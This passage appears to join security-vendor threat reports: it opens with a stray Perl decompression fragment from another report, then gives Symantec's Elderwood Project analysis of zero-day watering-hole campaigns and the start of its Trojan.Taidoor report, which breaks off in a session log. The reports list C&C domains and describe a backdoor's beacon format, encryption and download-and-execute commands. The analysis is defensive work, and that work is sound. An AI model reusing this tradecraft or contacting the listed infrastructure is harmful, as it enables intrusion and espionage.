$bufall use Compress::PPMd; my $decoder=Compress::PPMd::Decoder->new(); my $bufall2=$decoder->decode(substr($bufall,4)); not be decompressed ..save $bufall2 Figure 57 PPMd decompression PERL sample code copied from the net Laboratory of Cryptography and System Security (CrySyS) Budapest University of Technology and Economics www.crysys.hu Security Response The Elderwood Project Gavin O Gorman Geoff McDonald Contents Overview............................................................. 1 Background......................................................... 2 Targets................................................................ 4 Escalation of watering hole attacks................... 6 Attack platform................................................... 8 Document creation kit .................................. 8 Shared SWF file............................................. 8 Connecting the dots........................................... 9 Conclusion........................................................ 10 Appendix........................................................... 11 Symantec protection........................................ 12 Overview In 2009, Google was attacked by a group using the Hydraq (Aurora) Trojan horse. Symantec has monitored this group s activities for the last three years as they have consistently targeted a number of industries. Interesting highlights in their method of operations include: the use of seemingly an unlimited number of zero-day exploits, attacks on supply chain manufacturers who service the target organization, and a shift to watering hole attacks (compromising certain websites likely to be visited by the target organization). The targeted industry sectors include, but are not restricted to; defense, various defense supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. These attackers are systematic and re-use components of an infrastructure we have termed the Elderwood platform . The name Elderwood comes from a source code variable used by the attackers. This attack platform enables them to quickly deploy zero-day exploits. Attacks are deployed through spear phishing emails and also, increasingly, through Web injections in watering hole attacks. Although there are other attackers utilizing zero-day exploits (for example, the Sykipot or Nitro, or even Stuxnet), we have seen no other group use so many. The number of zero-day exploits used indicates access to a high level of technical capability. Here are just some of the most recent exploits that they have used: Security Response The Elderwood Project Adobe Flash Player Object Type Confusion Remote Code Execution Vulnerability (CVE-2012-0779) Microsoft Internet Explorer Same ID Property Remote Code Execution Vulnerability (CVE-2012-1875) Microsoft XML Core Services Remote Code Execution Vulnerability (CVE-2012-1889) Adobe Flash Player Remote Code Execution Vulnerability (CVE-2012-1535) It is likely the attackers have gained access to the source code for some widely used applications, or have thoroughly reverse-engineered the compiled applications in order to discover these vulnerabilities. The vulnerabilities are used as needed, often within close succession of each other if exposure of any of the vulnerabilities is imminent. The scale of the attacks, in terms of the number of victims and the duration of the attacks, are another indication of the resources available to the attackers. Victims are attacked, not for petty crime or theft, but for the wholesale gathering of intelligence and intellectual property. The resources required to identify and acquire useful information let alone analyze that information could only be provided by a large criminal organization, attackers supported by a nation state, or a nation state itself. Background Serious zero-day vulnerabilities, which are exploited in the wild and affect a widely used piece of software, are relatively rare; there were approximately eight in 2011. The past few months however has seen four such zeroday vulnerabilities actively exploited in the wild. Two of the zero-day exploits were in Adobe Flash, the other two in Internet Explorer. In April 2012, we identified seven different Trojans that were being used in conjunction with CVE-2012-0779. Within one month, two more zero-day exploits were identified in the wild. These were CVE-2012-1875 and CVE2012-1889. The timing of the release of these three exploits was suspicious. As soon as one had been identified, the next became active. We investigated the three exploits and found connections between them all. In the past few weeks, yet another zero-day exploit was detected in the wild, CVE-2012-1535. We have tied this zero-day exploit back to all the others. They may only be the tip of the iceberg. In early 2010, Google documented an attack against their infrastructure. They stated that they were attacked in December 2009 and that the attacks originated in China. The attackers utilized a Trojan called Hydraq, (also known as Aurora), which was delivered using an Internet Explorer zero-day exploit. We believe the Hydraq attack and the recent Figure 1 attacks that exploit Timeline of zero-day exploits attributable to the one group the vulnerabilities outlined above are linked. In March 2011, at least two Adobe Flash zero-day attacks were utilized in similar attacks against the same types of victims. In September 2011, yet another Adobe Flash zero-day exploit was used Page 2 Security Response The Elderwood Project to attack visitors to the Amnesty International Hong Kong site. The very same website was again compromised in the most recent set of attacks. Our analysis shows that a single group has been using these zero-day exploits, along with others over the past couple of years, in targeted attacks against individuals, companies, governments, and even entire sectors. A timeline for these various zero-day exploits is shown in Figure 1. The attacks conducted by this group are carried out using several different techniques. One of the methods used, called a watering hole attack, shown in figure 2, is a clear shift in their method of operations. The concept of the attack is similar to a predator waiting at a watering hole in a desert. The predator knows that victims will eventually have to come to the watering hole, so rather than go hunting, he waits for his victims to come to him. Similarly, attackers find a Web site that caters to a particular audience in which the attackers are interested. For example, people who visit the Amnesty International Hong Kong website are most Figure 2 Web injection process used in watering hole attacks likely visiting because they are interested in human rights issues in Hong Kong. Having identified this website, the attackers hack into it using a variety of means. For example, the site may be vulnerable to a SQL injection, or perhaps the attackers compromise the machine of an individual with publishing rights to the website. The Page 3 The Elderwood Project Security Response attackers then inject an exploit onto public pages of the website that are hopefully visited by their ultimate target. Any visitor susceptible to the exploit is compromised and a back door Trojan is installed onto their computer. The attacker then has complete control over the victim s computer. Three of the most recent zero-day exploits were used in watering hole attacks, an indication that this approach is gaining momentum. The more traditional technique is to send a spear-phishing email, containing an attachment, to the target. That attachment is a document containing an exploit which, when opened, then drops a Trojan onto the target computer. This works if the exploit is embeddable in a document. If not, then an alternative approach is to host the exploit on a Web server and then email the target with a link to that Web server. The link used is quite unique, it is not hosted on a common Web site, so it will only be encountered by the chosen target. When the target clicks on the link, the exploit is triggered and a back door is installed. The Elderwood gang has shown their resourcefulness over the past few years by leveraging a large number of zero-day vulnerabilities. The full list of vulnerabilities is shown below. Table 1 Zero-day vulnerabilities associated with the Elderwood gang Description Application 2012-0779 53395 Object Type Confusion Remote Code Execution Vulnerability Adobe Flash Player 2012-1875 53847 Same ID Property Remote Code Execution Vulnerability Microsoft Internet Explorer 2012-1889 53934 Remote Code Execution Vulnerability Microsoft XML Core Services 2012-1535 55009 Remote Code Execution Vulnerability Adobe Flash Player 2011-0609 46860 'SWF' File Remote Memory Corruption Vulnerability Adobe Flash Player 2011-0611 47314 'SWF' File Remote Memory Corruption Vulnerability Adobe Flash Player 2011-2110 48268 Adobe Flash Player Remote Memory Corruption Vulnerability Adobe Flash Player 2010-0249 37815 'srcElement()' Remote Code Execution Vulnerability Internet Explorer We have analyzed four of the most recent exploits (CVE-2012-0779, CVE-2012-1875, CVE-2012-1889, and CVE-2012-1535) and their associated malicious documents, the Trojans, and the infrastructure utilized in the attacks. There are several common features used in the attacks. Some of these features hint at the potential infrastructure, or platform, developed to support these attacks. From this analysis we have identified an increase in watering hole attacks by this group and developed a theory describing the possible infrastructure the attackers are utilizing. We also describe the various targeted industry sectors and provide evidence that a single gang is most likely to be behind the attacks. Targets The targets of the four recent zero-day exploits were attacked through both email (CVE-2012-0779 and CVE2012-1535) and Web vectors (CVE-2012-0779, CVE-2012-1875, and CVE-2012-1889). Identifying the target profile and related industry to which the target belongs is straight forward when email is used in an attack. Identifying the profile of the targets when the Web is used as the attack vector is difficult. For example, if an aeronautical website was compromised, the attackers may be trying to infect visitors from the Defense industry, the aeronautical company employees themselves, or perhaps visitors from others aeronautical companies. For our analysis, we have had to presume that the industry sector being targeted is the same as that of the watering hole website, understanding that in reality this may not always be the case. Page 4 Security Response The Elderwood Project The primary targets identified are defense, or more precisely manufacturers that are in the defense supply chain. These are companies who manufacture electronic or mechanical components which are then sold to top-tier defense companies. The attackers may use the manufacturers as a stepping stone to gain access to top-tier defense contractors, or obtain intellectual property used in the production of parts that make up larger products produced by a top-tier defense company. Figure 3 Target sectors The second most common target is the general area of human rights, or Non Governmental Organizations (NGOs). A number of websites generally relating to religion, Taiwan, Hong Kong and China were compromised for this purpose. The CVE-2012-1875 exploit is almost exclusively used in this target sector, with some crossover from the CVE-2012-1889 exploit. Figure 4 Number of targeted companies (Email) and compromised websites (Web) per exploit Page 5 Security Response The Elderwood Project The remaining target sectors include Finance, Energy (Oil/Gas), Education, and Government. There are a number of outlier victims, such as a hotel jobs site, which may have simply been targeted in error and are collateral damage. The vast majority of detections are in the United States. Figure 5 shows those detections. Figure 5 Global detections of files used in the past year by the Elderwood gang Escalation of watering hole attacks As we have noted earlier, the number of watering hole attacks have been on the increase. The attacks begin with an attacker locating a vulnerability on a chosen website. This vulnerability allows the attacker to insert some JavaScript, or HTML, into the website. That piece of code contains a link, or iFrame, which points to another Web page that actually hosts exploit code for the chosen vulnerability. When a user connects to the hacked website, they are automatically referred to the malicious Web page which exploits a vulnerability allowing the attacker to install malware onto the victim s computer. Once the iFrame and malicious code are in place on the server, the attacker does not need to do anything but simply wait for victims to browse to the website, or visit the watering hole, and become infected. Web injection attacks are not new and are commonly used in cybercrime. The difference between their use in cybercrime and in watering hole attacks is down to the choice of websites to compromise and use in the attacks. In a mass injection attack, criminals will indiscriminately compromise any website they can, but in watering hole attacks, the attackers are focused. They choose websites within a particular sector so as to infect persons of interest who likely work in that same sector and are likely to therefore visit related websites. Targeting a specific website is much more difficult than merely locating websites that contain a vulnerability. The attacker has to research and probe for a weakness on the chosen website. Indeed, in watering hole attacks, the attackers may compromise a website months before they actually use it in an attack. Once compromised, the attackers periodically connect to the website to ensure that they still have access. This way, the attackers can infect a number of websites in one stroke, thus preserving the value of their zero-day exploit. They are even in a position to inspect the website logs to identify any potential victims of interest. This technique ensures that they obtain the maximum return for their valuable zero-day exploit. Page 6 Security Response The Elderwood Project Although watering hole attacks have been known about since approximately March of 2011, the activity outlined in this report marks a substantial increase. Three zero-day exploits, CVE-2012-0779, CVE-2012-1875, and CVE2012-1889 have all been used within a 30-day period to serve up back door Trojans from compromised websites. Figure 6 Elderwood platform Page 7 Security Response The Elderwood Project The increase in the use of this attack technique requires the attackers to sift through a much greater amount of stolen information than a targeted attack relying on email, as the number of victims compromised by a Web injection attack will be much greater. Although multiple emails are often sent to numerous victims, the scale of such attacks is much smaller than the number of victims infected by visiting one of a number of compromised websites. We believe, to solve this problem, the attackers have built a system that allows them to execute new campaigns by simply dropping in a new exploit and various other components, such as Trojans and hacked servers. Attack platform The attackers have leaked snippets of information that hint at the type of infrastructure that is likely to be used to implement these attacks. Figure 6 is a diagram of the various processes and steps that that the Elderwood attackers must go through to conduct their attacks. All attacks require a Trojan to infect the target computer. This Trojan is packaged with a packer and also the address of the command-and-control (C&C) server. The next step is to deliver that packaged Trojan to the target. Delivery is either though an email or a Web based vector. We have identified two distinct elements in the delivery vector that demonstrate the potential attack infrastructure. Document creation kit The attackers often delivered their malicious code via documents attached to email. Based on our analysis, we believe the attackers have built a tool that easily allows them to automatically construct documents containing different payloads. The tool is able to take an arbitrary clean document file, specific exploit code, and a Trojan, and bundle them together to create a malicious document ready to be used in the next attack. This tool is one component of the Elderwood platform. The use of such a tool can be readily seen in samples that exploit the CVE-2012-0779 vulnerability where multiple document files were encoded in the same manner, but the Trojan payload differed. Shared SWF file Another component used in the attacks is a Shockwave Flash (SWF) file. Often, to ensure reliable execution of exploit code, code must be placed in the right areas of computer memory. In addition, exploit code often performs the same task of downloading a Trojan from a remote website for execution. Instead of developing code to perform these tasks for each different exploit, the attackers have developed a common SWF file that is used solely to create the correct conditions in memory and accepts a parameter specifying where to download the Trojan. In some attacks, the parameter name was Elderwood. The same SWF file was seen used when exploiting 3 different vulnerabilities (CVE-2012-0779, CVE-2012-1875, CVE-2012-1889). By using a common SWF file, the attackers can simply deploy a new trigger, that is, a zero-day exploit, and the SWF handles the rest of the work, retrieving and decoding the back door Trojan. These various re-usable components collectively make up the Elderwood attack platform, as shown in figure 6. There is no doubt that there are several other components that the attackers use in their various processes as well. Other possible components of the attack platform may include: A tool for the automated creation of accounts on Web-based email services Automated registration of domain names Information gathering on targets searching for, and consolidating data on, a victim to identify potential website targets and relevant topics for email content An analysis platform for stolen information Page 8 Security Response The Elderwood Project The reuse of the identified components gives clues as to how the attackers may divide the labor amongst themselves. Technically skilled hackers (researchers) create exploits, document creation kits, re-usable trigger code (the SWF files), and compromise websites, and these are then made available to less technical attackers. These attackers (attack operators) are likely responsible for identifying targets and delivering the attack payload using the tools and infrastructure provided to them. Once a target has been compromised, the less skilled attack operators can then proceed to move through the compromised network, identifying data of interest. The level of technical skill required to move through a compromised network is much lower than that required to establish the initial penetration. Connecting the dots The investigation into the various exploits began with a deep analysis of CVE-2012-0779. From this analysis, we identified several Trojans which were dropped from documents utilizing the exploit. These Trojans helped us begin the process of establishing links between the various zero-day exploits. The code in one of those Trojans was obfuscated in a certain way. This same obfuscation was used on a Trojan dropped by CVE-2012-1875, establishing a link between the use of these two exploits. Going back in time, the Hydraq Trojan also displayed this obfuscation. Additional links joining the various exploits together included a shared command-and-control infrastructure. Trojans dropped by different exploits were connecting to the same servers to retrieve commands from the attackers. Some compromised websites used in the watering hole attacks had two different exploits injected into them one after the other. Yet another connection is the use of similar encryption in documents and malicious executables. A technique used to pass data to a SWF file was re-used in multiple attacks. Finally, the same family of Trojan was dropped from multiple different exploits. Figure 7 illustrates the connections between the various exploits. Figure 7 Links between different exploits Page 9 Security Response The Elderwood Project Conclusion Simple targeted attacks are quite common. Most (the Taidoor attackers for example) reuse exploits and are relatively simple to block, if one ensures that one s network and software is regularly patched. Somewhat more sophisticated attackers use zero-day exploits. The Elderwood hackers use multiple zero-day exploits, multiple Trojans, and multiple delivery vectors. They are responsible for compromising numerous websites, corporations, and individuals over the past three years. This group is focused on wholesale theft of intellectual property and clearly has the resources, in terms of manpower, funding, and technical skills, required to implement this task. Although we have not conclusively established a connection between the most recent exploits and those used in attacks in 2011, there are similarities. Apart from the technical features in common, as mentioned previously (URL encoding), there is a noticeable similarity in the timing of the attacks and the types of vulnerabilities used between the 2012 and 2011 attacks. Both sets of attacks used multiple zero-day exploits one after the other, sometime around April to August, and both sets of attacks exploit Adobe Flash and Internet Explorer. It may be the case that these initial penetration attacks are launched over a fixed period of time (several months from approximately April to August). After this initial compromise, the attackers consolidate their beachhead and begin to analyze the stolen information, spreading through networks and maintaining access as needed. By analyzing the information gathered, the attackers can identify yet more targets of interest. They may also eventually be detected and evicted from a compromised network. In later attacks, newly identified targets can be attacked and old victims can be targeted again. If this is the case, then companies and individuals need to be on their guard. Any manufacturers who are in the defense supply chain need to be wary of attacks emanating from subsidiaries, business partners, and associated companies. It is possible that those trusted companies were compromised by the attackers who are then using them as a stepping-stone to the true intended target. Companies and individuals should prepare themselves for a new round of attacks in 2013 utilizing both Adobe Flash and Internet Explorer zero-day exploits. This is particularly the case for companies who have been compromised in the past and managed to evict the attackers. The knowledge that the attackers gained in their previous compromise will assist them in any future attacks. Resources Symantec Security Response Blog http://www.symantec.com/connect/symantec-blogs/sr Follow Symantec Security Response on Twitter http://twitter.com/threatintel Page 10 Security Response The Elderwood Project Appendix Malware detection names The Elderwood gang uses multiple different Trojans. The ones identified to date are detected using the detection names in table 2. Table 2 Trojans associated with Elderwood gang Associated Trojans Backdoor.Briba Trojan.Hydraq Trojan.Naid Backdoor.Wiarp Backdoor.Vasport Trojan.Pasam Backdoor.Darkmoon Packed.Generic.379 Packed.Generic.374 Backdoor.Ritsol Backdoor.Nerex Backdoor.Linfo Command-and-control servers Table 3 shows the command and control servers. Table 3 Command and control servers C&C domains qwby.gownsman.com wwwcnas.org gate-usa.com 3dvideo.ru wt.ikwb.com svr01.passport.serveuser.com zfcay1751.chinaw3.com web.cyut.edu.tw srv001.proxydns.com help.2012hi.hk 0207.gm.jetos.com 71.6.217.131 javaupdate.freeddns.com yours.microtrendsoft.com cpu.edu.tw glogin.ddns.us download.msdnblog.com dd.pst.qpoe.com Page 11 Security Response The Elderwood Project Symantec protection Many different Symantec protection technologies play a role in defending against this threat, including: File-based protection (Traditional antivirus) Traditional antivirus protection is designed to detect and block malicious files and is effective against files associated with this attack. Bloodhound.Exploit.469 Bloodhound.Exploit.465 Bloodhound.Exploit.466 Bloodhound.Olexe.2 Bloodhound.Flash.15 Packed.Generic.379 Packed.Generic.374 Backdoor.Briba Trojan.Hydraq Trojan.Naid Backdoor.Wiarp Backdoor.Vasport Trojan.Pasam Backdoor.Darkmoon Backdoor.Ritsol Backdoor.Nerex Backdoor.Linfo Trojan.MDropper Network-based protection (IPS) Network-based protection in Symantec Endpoint Protection can help protect against unauthorized network activities conducted by malware threats or intrusion attempts. Adobe Flash Type Confusion CVE-2012-0779 (25718) RTMP Type Confusion CVE-2012-0779 2 (25721) MSIE MSXML CVE-2012-1889 3 (25783) MSIE MSXML CVE-2012-1889 2 (50331) MSIE MSXML CVE-2012-1889 (25786) Malicious SWF Download CVE-2012-1535 2 (25878) Malicious SWF Download 4 (25789) MSIE Same ID Property CVE-2012-1875 (25787) MSIE CVE-2010-0249 (23823) Malformed XLS SWF Remote Code Execution CVE-2011-0609 (24136) Flash Player CVE-2011-2110 (24336) Adobe Embedded SWF CVE-2011-0611 (24212) Behavior-based protection Behavior-based detection blocks suspicious processes using the Bloodhound.SONAR series of detections Reputation-based protection (Insight) Norton Safeweb blocks users from visiting infected websites. Insight detects and warns against suspicious files as WS.Reputation.1 Page 12 Security Response The Elderwood Project Email-based protection Symantec MessageLabs Email Security.cloud can block emails associated with these attacks Other protection Application and Device Control (SEP) prevents malicious document files from dropping the backdoor TrojanSymantec Critical System Protection can also prevent unauthorized applications from running. Browser Protection can protect against web based attacks which use exploits Symantec Critical System Protection can help to lock down system and prevent intrusions Data Loss Prevention (DLP) can prevent confidential data from being accessed or exfiltrated by the attacker Page 13 Security Response Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec Corporation. NO WARRANTY . The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use. Any use of the technical documentation or the information contained herein is at the risk of the user. Documentation may include technical or other inaccuracies or typographical errors. Symantec reserves the right to make changes without prior notice. About Symantec Symantec is a global leader in providing security, storage and systems management solutions to help businesses and consumers secure and manage their information. Headquartered in Mountain View, Calif., Symantec has operations in more than 40 countries. More information is available at www.symantec.com. About the authors Geoff McDonald - Threat Analysis Engineer Gavin O Gorman - Sr Threat Intelligence Analyst For specific country offices and contact numbers, please visit our Web site. For product information in the U.S., call toll-free 1 (800) 745 6054. Symantec Corporation World Headquarters 350 Ellis Street Mountain View, CA 94043 USA +1 (650) 527-8000 www.symantec.com Copyright 2012 Symantec Corporation. All rights reserved. Symantec and the Symantec logo are trademarks or registered trademarks of Symantec Corporation or its affiliates in the U.S. and other countries. Other names may be trademarks of their respective owners. Security Response Trojan.Taidoor: Targeting Think Tanks Stephen Doherty and Piotr Krysiuk Contents Executive summary............................................ 1 Introduction........................................................ 1 Technical details................................................. 3 The email....................................................... 3 The attachment............................................. 6 The dropper................................................... 7 The payload................................................... 8 Command-and-Control server...................... 8 Variants....................................................... 11 Patterns of activity...................................... 12 Attacker profile........................................... 12 Conclusion........................................................ 12 Symantec protection........................................ 13 Appendix........................................................... 14 Sample files................................................. 14 Recommendations...................................... 15 Executive summary Trojan.Taidoor has been consistently used in targeted attacks during the last three years. Since May 2011, there has been a substantial increase in its activity. Taidoor s current targets are primarily private industry and influential international think tanks with a direct involvement in US and Taiwanese affairs. Facilities in the services sector that these organizations may use have also been targeted. There are a number of additional ancillary targets. Trojan.Taidoor dates back to March 2008 and in-field telemetry has identified Taidoor being used in targeted attack emails since May 2009. Fourteen distinct versions and three separate families of the Trojan have been identified to date. The threat continues to evolve to suit the attackers requirements. Introduction During 2009, and the majority of 2010, government organizations and a range of private companies were targeted by the Taidoor attackers. However around the beginning of 2011, the attackers focus shifted dramatically, with international think tanks, the manufacturing industry, and defense contractors who have interests in Taiwan consistently being targeted. The chart below illustrates the volumes and the industries targeted using Taidoor over the last three years. The shift in targets is clearly portrayed in figure 1. Security Response Trojan.Taidoor: Targeting Think Tanks Figure 1 Targeted Taidoor attacks per industry 2009-2011 In 2011 the US had been involved in a variety of discussions with Taiwan, the most public of which was in relation to the upgrade of the Taiwanese Air Force. Around the same time Taidoor started to almost exclusively target individuals from influential think tanks, specifically those who have expertise in South Asian and South-East Asian policy and military strategy. Although these are Figure 2 not the first attacks on think tanks, the persisIncrease of Trojan.Taidoor targeted attack emails tence and sheer volume of the Taidoor attacks has made them more notable. A timeline of the attacks highlights the increased volume of targeted Taidoor emails sent between May and October 2011, including their peak during the US-Taiwan Defense Industry Conference that was held September 18-20, 2011, as shown in figure 2. While Taidoor s targets have changed over the years, the attack methodology has remained consistent. Currently the only known attack vector for Taidoor is through targeted emails. The email attachments exploit a variety of Page 2 Trojan.Taidoor: Targeting Think Tanks Security Response vulnerabilities, yet the payload Trojan itself has seen little change in terms of functionality. Taidoor is limited to using publicly disclosed vulnerabilities; no zero-day exploits have been seen in use. This separates Taidoor from more recent high-profile attacks such as those involving Duqu or the recent attacks on RSA where the attacks are highly sophisticated and exploit zero-day vulnerabilities. The Taidoor group appears to play a numbers game when it comes to breaching networks, relying on targeting users running out-of-date, unpatched versions of software for the attacks. As one particular campaign gathered momentum, the attackers resorted to sending broad and repeated barrages of emails to large groups of individuals at the target organizations in an attempt to compromise the network. The rest of the document will discuss these attacks in more detail, beginning with a breakdown of the typical stages of a Taidoor attack. Starting with crafting the targeted email, the focus will then move to the attachment and its components: the Taidoor dropper containing the true payload an embedded, encrypted back door Trojan offering remote access to the attacker on the compromised computer. Detailed analysis of the commandand-control (C&C) functionality will be revealed, including the observation of hacked third-party servers as part of its infrastructure to forward communications to the attackers. During the analysis some live interactive sessions were captured revealing interaction with a human attacker, and his or her intentions once on the box. One of these interactive sessions is presented. The final section provides attributes that may point to the profile of the attackers. Taidoor is not going away. It s persistent, it s constantly evolving, and the adaptability of the attackers will ensure that it remains a danger to any organization that falls within its scope. Technical details The email This is the breach component of Taidoor, which is pivotal to the attack. Taidoor emails are created with varying degrees of sophistication and are typically employed in a two-pronged attack. Figure 3 Mail server country of origin for Taidoor emails The vast majority of emails used in these recent attacks are sent from mail servers based in Taiwan and the US, as shown in figure 3. The country of origin will change depending on the targets of the attack. For example the mails from France contained subject matter related to the G20 summit in Paris, while those coming from Turkey were directed at targets with Turkish email addresses. Crafting the email To begin with, the main target of interest is identified. The content of the email is specifically crafted in order to entice the chosen target into opening it. The email is then either sent solely to the target of interest or the target of interest plus a group of other personnel working at the same organization. This second strategy is popular with more recent Taidoor attacks, as it would prove useful in situations where compromising the main target is proving difficult. Compromising a lowervalue target still provides a foothold within the organization from where the attacker can then attempt to move towards the true target. Page 3 Security Response Trojan.Taidoor: Targeting Think Tanks There are two types of content typically found in Taidoor emails. The first type is simple, requiring little-or-no background research on the target. The content is general, typically including a catchy Subject line, a funny image, a brief message, or a topical subject that may entice the user into opening the malicious attachment, such as that displayed in figure 4. Figure 4 A generic Taidoor email The second type requires some background research on the intended target. Far more preparation is required, as the email will need to contain content relevant to the target. The subject line, the message body and the attached document will all contain information that might entice them into reading what is inside the attachment. The content is typically related to policy or events that the target would be interested in or would likely attend. The sender s email address will also be doctored so that it appears to have come from a reputable source; someone they would probably recognize by name. This would likely be a co-worker, a speaker at an upcoming event, or a prominent individual in their chosen field. Page 4 Security Response Trojan.Taidoor: Targeting Think Tanks Here is an example of a targeted attack that took place on October 24, 2011. Over the course of the day, targeted mails were sent to 25 individuals working at three separate organizations. The same malicious file was attached to all the emails; however, the subject line and the message content differed. Examining the malicious attachment we could see it was identical for each email. Here are the four subject lines used in these emails, followed by an example email: Fwd: Panetta criticizes North Korea for reckless acts Panetta criticizes North for reckless acts Returned mail: see transcript for details Warning: could not send message for past 4 hours Figure 5 An targeted Taidoor email Out of the 25 emails, 22 were sent through a Taiwanese mail server. They targeted individuals working at an influential international think tank located in the US and were sent in quick succession. Later that day two more emails containing an identical attachment were sent through a mail server located in the US. However this time the emails targeted three prominent figures working at three separate organizations: one located in the US (the think tank that was targeted in the earlier batch of emails) and two others in Germany. These three targets are subject experts on military strategy and policy in South-East Asia. This tactic is typical of Taidoor, as mentioned earlier, where one of these targets appears to be the real target of interest and the rest appear to be of lesser interest, but could offer up useful information or be used as a stepping stone toward the true target. Page 5 Trojan.Taidoor: Targeting Think Tanks Security Response Determining who the targets of interest are is straightforward when examining the frequency of targeted emails sent to individuals. As an example, a target of interest at one of these organizations is referred to as Mr. X Figure 6 Emails targeting Mr. X (2011) Mr. X was sent up to 23 targeted Taidoor emails in June 2011 a substantial increase from previous months. This individual was consistently targeted for over nine months far the most targeted individual. Such focus demonstrates the persistence of the Taidoor attackers. The repeated attempts indicate that this target has been extremely difficult to compromise and is considered of high value. The attachment The sample email above contained a malicious PDF attachment; however, Taidoor doesn t confine itself to PDFs. Taidoor has been used in a wide variety of attachments, including malicious Microsoft PowerPoint, Word (.doc and .rtf file formats), and Excel files. Malicious executables and even DLLs (BID 47741) have been used as part of recent attacks. In these cases the malicious file is typically contained within an archive. In more recent attacks Word documents and PDFs have been the most popular attack vectors. However the malicious attachments constantly change, with new exploits appearing regularly. Figure 7 Popularity of attachment type (.dll, .scr, and .exe files are typically contained within archive files) The malicious attachments have used a large set of vulnerabilities over the years, covering all main document formats. This clearly indicates that this group has both the focus and the intent to keep these exploits relevant and up-to-date. The group is clearly not afraid to try out new exploits. The number utilized is remarkable. Microsoft PowerPoint Malformed Record Remote Code Execution Vulnerability (BID 18382) Microsoft Word Malformed Data Structures Code Execution Vulnerability (BID 21518) Adobe Acrobat and Reader Multiple Arbitrary Code Execution and Security Vulnerabilities (BID 27641) Microsoft PowerPoint Sound Data (CVE-2009-1129) Remote Code Execution Vulnerability (BID 34839) Adobe Reader and Acrobat newplayer() JavaScript Method Remote Code Execution Vulnerability (BID 37331) Microsoft Excel FEATHEADER Record Remote Code Execution Vulnerability (BID 36945) Adobe Flash Player CVE-2011-0611 File Remote Memory Corruption Vulnerability (BID 47314) Multiple Microsoft Products DLL Loading Arbitrary Code Execution Vulnerability (BID 47741) Adobe Acrobat and Reader CVE-2011-2100 DLL Loading Arbitrary Code Execution Vulnerability (BID 48252) It is worth noting again that none of the vulnerabilities used by Taidoor are zero-day exploits. Taidoor simply leverages publicly disclosed security bugs in popular applications and therefore relies on the target or targets to be running unpatched software. Page 6 Trojan.Taidoor: Targeting Think Tanks Security Response Figure 8 shows the email attachment types chosen by attackers in 2011. We can see a marked increase in the use of vulnerable Word documents in the run-up to the US-Taiwan Defense Industry Conference in September 2011. The group probably found more success with the Word exploit for this period of the campaign. However they switch to older vulnerabilities if the new ones are proving less successful, which was the case for BID 47741. Figure 8 Breakdown of malicious attachment types for 2011 (.dll, .scr, and .exe files are typically contained within archive files) The goal of the email is to entice the recipient into opening the malicious attachment. The goal of the attachment is to surreptitiously copy the embedded Trojan onto Figure 9 the user s computer and Taidoor PDF attachment launch it without drawing attention to the fact that the user has just been compromised. Taking the attachment in the previous targeted email, let s examine what happens if the malicious document is opened. The PDF is exploiting BID 47314, a vulnerability in Adobe Reader that leads to code execution of the attacker s choosing. This code decrypts, extracts, and executes the embedded Taidoor dropper. It also extracts and presents the clean PDF in figure 9, so as not to alarm the user to any unusual behavior. The content in the PDF was scraped from an Associated Press article that started to appear on most major news feeds the very day the email was sent: October 24, 2011. The dropper Once the user has opened the malicious attachment the infection process is set into motion. Once the dropper is created in the file system, it is executed. It starts one of the following legitimate processes, after which it will replace this clean, in-memory image with the malicious back door component: services.exe svchost.exe Page 7 Trojan.Taidoor: Targeting Think Tanks Security Response The back door component is normally present in the form of either an encrypted resource entry or as an encrypted binary array within the code section of the dropper. Figure 10 helps illustrate the layout of each file and the steps taken once the malicious attachment is launched. Figure 10 Taidoor file layout services.exe / svchost.exe PDF Exploiting BID 47314 Back door Taidoor dropper Encrypted Taidoor Decrypts Injects Encrypted back door component Encrypted servers Clean The payload The final payload is now in place. This is the back door component that communicates with the C&C server. The back door stores configuration information in the .data section which is setup by the attackers. This configuration information contains up to three C&C servers, up to three ports per server, and a default sleep interval. Once the back door is successfully installed on the system it will attempt to communicate with the C&C server using the HTTP protocol. Let us examine this in more detail. Command-and-Control server Protocol Trojan.Taidoor communicates with the controlling server using the HTTP protocol with requests using the following format and detailed in table 1: http://[C&C _ SERVER]:[PORT]/[RANDOM].php?id=[RAND][ID][OPTIONAL] Table 1 HTTP communication format Variable Description [C&C_SERVER] Up to three configurable C&C servers [PORT] Up to three configurable ports [RANDOM_PATH] Five random, lower-case letters. Recreated every time Taidoor initializes or fails to contact its configured servers. [RAND] Six-decimal, random number recreated for each request. The values are between 0-32767 (limited by RAND_MAX). [ID] Twelve characters derived from MAC address of the compromised computer. [OPTIONAL] Is "&ext=[FILENAME]", which may be present in requests, related to specific commands. Page 8 Trojan.Taidoor: Targeting Think Tanks Security Response When the message body is present in a request or response, it is encrypted using RC4. The RC4 key is simply a string representation of the compromised computer s adapter address (e.g. 01-27-89-AB-CD-EF). This means that the C&C server must be able to compute the RC4 key from the [ID] present in the HTTP request. Because such an [ID] is unique for each computer it could also be used by the controlling server for tracking purposes. Trojan.Taidoor uses an algorithm when generating the ID field. First it obtains a string representation of the adapter address. A default value of 01-01-01-01-01-01 is used if it fails to obtain the adapter address. It strips the characters from the string and then increments the value of each character. If it encounters this value will be set to . For example 01-27-89-AB-CD-EF would convert to 123890BCDEFG Trojan.Taidoor periodically queries the C&C server for commands by sending GET requests with an empty message body. This period is configurable by the attacker and is stored, along with the C&C information, in the data section. Values for this sleep interval has been seen as low as two and as high as 600 seconds. The server responds with RC4-encrypted commands in the message body. The first byte of decrypted message body is the command ID, followed by an optional parameter. Table 2 details the commands available to the attacker. Table 2 Taidoor C&C commands ID* Format Command Details DWORD Set Delay Period in milliseconds for the sleep time in between requests. STRING Execute Command Command to be executed. The generated output is collected in a temporary file and sent in a separate POST request. The POST request does not contain any indication about the corresponding command.** STRING Download and Execute The URL location to download a file, which is saved to the %Temp% folder and executed. STRING Download File Path of the file to be created. The content of the file is downloaded using a separate GET request with [OPTIONAL] set to "&ext=[BASE64_ENCODED_FILENAME]" STRING Upload File Parameter is the path of the file to be uploaded. Content of the file is uploaded using separate POST request with [OPTIONAL] set to "&ext=[BASE64_ENCODED_FILENAME]" *All other commands are IDs treated as pings. **A strong indicator this back door is designed for human operators. Live interactive session Our honeypots were able to capture some live, interactive sessions of the attackers in action. Table 3 presents logs of the activities of an attacker during one of these sessions on September 16, 2011. This is the first 60 seconds of the attacker in action, logged from 02:23:06 UTC. Table 3 Example of attacker activities through back door Timeline Commands Received 2011-09-16 02:23:06 UTC: RECV [Ping] 